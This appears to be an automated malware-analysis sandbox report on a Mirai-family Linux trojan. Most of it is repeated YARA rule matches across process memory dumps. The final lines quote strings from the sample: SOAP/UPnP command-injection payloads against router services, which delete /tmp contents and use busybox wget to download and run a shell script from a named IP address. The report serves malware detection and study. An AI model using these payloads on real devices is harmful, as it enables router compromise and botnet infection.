Source: 6893.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6487.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6487.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6487.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6370.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6370.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6370.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6508.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6508.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6508.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6647.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6647.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6647.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7185.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7185.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7185.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6601.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6601.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6601.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6542.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6542.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6542.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6318.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6318.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6318.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6445.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6445.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6445.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7287.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7287.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7287.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7391.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7391.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7391.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6324.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6324.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6324.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7219.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7219.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7219.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6640.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6640.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6640.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6841.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6841.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6841.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6401.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6401.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6401.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7147.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7147.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7147.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6896.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6896.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6896.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6888.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6888.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6888.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7005.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7005.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7005.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6937.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6937.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6937.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7065.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7065.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7065.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6316.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6316.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6316.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6393.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6393.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6393.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6507.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6507.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6507.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7113.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7113.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7113.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6573.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6573.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6573.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6331.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6331.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6331.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6864.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6864.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6864.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7366.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7366.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7366.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6471.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6471.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6471.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6262.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6262.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6262.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6933.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6933.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6933.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7188.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7188.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7188.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7022.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7022.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7022.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6265.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6265.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6265.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6417.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6417.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6417.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6689.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6689.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6689.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6422.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6422.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6422.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6328.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6328.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6328.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7263.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7263.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7263.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6399.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6399.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6399.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6544.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6544.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6544.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6396.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6396.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6396.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6750.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6750.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6750.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6941.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6941.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6941.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6351.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6351.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6351.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6596.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6596.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6596.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6652.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6652.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6652.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6603.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6603.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6603.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7050.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7050.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7050.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7102.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7102.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7102.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6879.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6879.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6879.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6875.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6875.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6875.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7145.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7145.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7145.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7211.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7211.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7211.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6889.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6889.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6889.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6313.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6313.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6313.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6458.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6458.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6458.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7340.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7340.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 7340.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 7084.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 7084.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.69.121 -l /tmp/huawei -r /Cached/bld.sh; sh /tmp/huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://94.156.69.121/Cached/bld.sh && sh /tmp/bld.sh`</NewNTPServer1><NewNTPServer2>`echo OMNI`</NewNTPServer2><NewNTPServer3>`echo OMNI`</NewNTPServer3><NewNTPServer4>`echo OMNI`</NewNTPServer4><NewNTPServer5>`echo OMNI`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>POST /UD/act?1 HTTP/1.1
